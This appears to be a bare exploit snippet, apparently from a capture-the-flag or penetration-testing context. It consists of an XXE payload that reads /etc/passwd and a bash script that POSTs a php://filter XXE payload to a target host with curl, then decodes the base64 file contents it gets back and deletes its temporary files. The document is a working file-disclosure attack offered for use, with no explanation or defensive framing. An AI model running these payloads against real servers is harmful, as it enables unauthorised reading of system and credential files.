Source
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
#!/bin/bash
echo "<?xml version=\"1.0\"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=$1\" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
" > tmp.txt
curl -s -d @tmp.txt -X POST http://x.x.x.x/x.php > out.txt
echo $(cat out.txt | cut -d" " -f 7) > out1.txt
cat out1.txt | tr -d " \t\n\r" > out2.txt
base64 --decode out2.txt
rm tmp.txt
rm ou*.txt